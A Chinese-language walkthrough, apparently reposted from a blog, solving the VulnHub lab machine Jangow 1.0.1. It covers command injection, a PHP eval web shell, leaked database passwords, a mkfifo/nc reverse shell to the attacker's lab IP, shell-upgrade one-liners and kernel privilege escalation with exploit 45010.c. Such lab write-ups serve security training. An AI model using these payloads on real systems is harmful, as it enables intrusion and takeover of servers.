vulnhub靶场实战(JANGOW:1.0.1)

1. 靶场下载地址:

Jangow: 1.0.1 ~ VulnHub

2.信息搜集:

这里信息搜集使用的是别人的图,

1. 靶机真实 ip 是 192.168.16.133

这里我们发现,

2. 目标开放了 80 端口

然后我们对目标的 80 端口进行访问

我们通过插件,然后获取到了当前页面下全部的 url 链接

3. http://192.168.16.133/site/busque.php?buscar=

4. 获取目标的系统和后端语言

ubuntu 和 php

3. 漏洞利用

对上述提到的这个 url 进行传参

http://192.168.16.133/site/busque.php?buscar=pwd

1. url 存在任意命令执行漏洞

由于存在任意命令执行漏洞,那么我们接下来就可以考虑使用 echo 去创建一个 php 一句话木马

2. 写入一句话木马

echo '<?php eval($_POST["shell"]);  ?>' >shell1.php

3. 哥斯拉连接 shell

4. 获取的 use,passwd 信息

$servername = "localhost";
$database = "jangow01";
$username = "jangow01";
$password = "abygurl69";
// Create connection
$conn = mysqli_connect($servername, $username, $password, $database);
// Check connection
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
echo "Connected successfully";
mysqli_close($conn);

<?php
$servername = "localhost";
$database = "desafio02";
$username = "desafio02";
$password = "abygurl69";
// Create connection
$conn = mysqli_connect($servername, $username, $password, $database);
// Check connection
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
echo "Connected successfully";
mysqli_close($conn);
?>

4. 反弹 shell 的建立

1. 将 kali 所有端口绑定在同一个端口中

sudo iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 1234

然后我们使用 nc 对 1234 这个端口实行监听

nc -lnvp 1234

2. 编写 shell 检测哪些端口可用并上传 bash

for i in{1..65535};
do
	timeout 1 nc -vz 192.168.16.128 $i && echo "$i open" >> out.txt || echo "$i closed" >> out.txt;
done

然后我们即可上传该文件,文件名为 text_shell.bash 文件

3. 利用任意命令执行漏洞去执行上传的 bash

在进行这一步之前,确保 kali 的 ip 和 bash 一致,并且 kali 已经把所有端口绑定在同一个端口上;而且 nc 是正在监听中

这里我们既可以在哥斯拉里面执行 bash,也可以通过这个 url 里面进行传参,bash text_shell.bash 去执行 shell 文件

需要注意的一点是:我们上传 bash 文件之后,不一定能够执行,还需要我们去添加执行权限 chmod +x text_shell.bash

4. 发现 443 可以用来作为反弹 shell

5. 建立反弹 shell

kali (192.168.16.128) 监听本地的 1234 端口

nc -lnvp 1234 (因为之前绑定了端口,所以这里直接监听的端口是 1234,而不是 443 端口)

反弹 shell 代码,被攻击机主动去连接攻击机(攻击机 ip 为 192.168.16.128)

我们上传 shell 文件,在目标服务器上

反弹 shell 文件代码如下所示:

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.16.128 443 >/tmp/f');?>

然后我们直接在目标服务器上运行该反弹 shell 文件,然后我们来到攻击机 kali 上

会发现我们的被攻击机 192.168.16.133 与我们的 kali 进行了连接

但是我们这里连接之后,靶机是没有提供 python 环境的,为了完善这个靶机的开发环境,我们可以输入

python3 -c 'import pty;pty.spawn("/bin/bash")'

其它语言升级 shell 的 code:

echo os.system('/bin/bash')
/bin/sh -i

#perl
perl -e 'exec "/bin/sh";'

#ruby
exec "/bin/sh"
ruby -e 'exec "/bin/sh"'

#lua
lua -e "os.execute('/bin/sh')"

5. 提权

1. 查看当前系统的配置信息

这里我们提供三种查看系统配置信息的命令,最直观的是第三种

因为可以直接获取其具体的版本信息

uname -a
cat /proc/version
lsb_release -a

Linux jangow01 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

www-data@jangow01:/var/www/html/site$

Distributor ID: Ubuntu

Description: Ubuntu 16.04.1 LTS

Release: 16.04

Codename: xenial

2. 漏洞利用(ubuntu 系统版本和 内核 两种利用方式)

ubuntu 系统版本利用

 searchsploit ubuntu 16.04

然后我们在 kali 中把利用代码放在复制到桌面上,然后将其移动到我们的真实主机上,通过哥斯拉进行上传

cp /usr/share/exploitdb/exploits/linux/local/45010.c 桌面/a.c

上传如图所示:

编译 a.c 文件,得到一个 a.out 文件,然后输入 ./a.out 执行 a.out 文件

3. 查看是否越权成功

cat /root/proof.txt

猜你喜欢

转载自blog.csdn.net/blackguest07/article/details/128626948